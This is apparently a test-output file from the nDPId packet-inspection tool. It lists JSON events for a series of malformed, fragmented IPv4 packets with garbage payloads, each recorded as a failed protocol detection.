+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171259,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171367,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171467,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171479,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171506,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171518,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171547,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171607,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171733,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 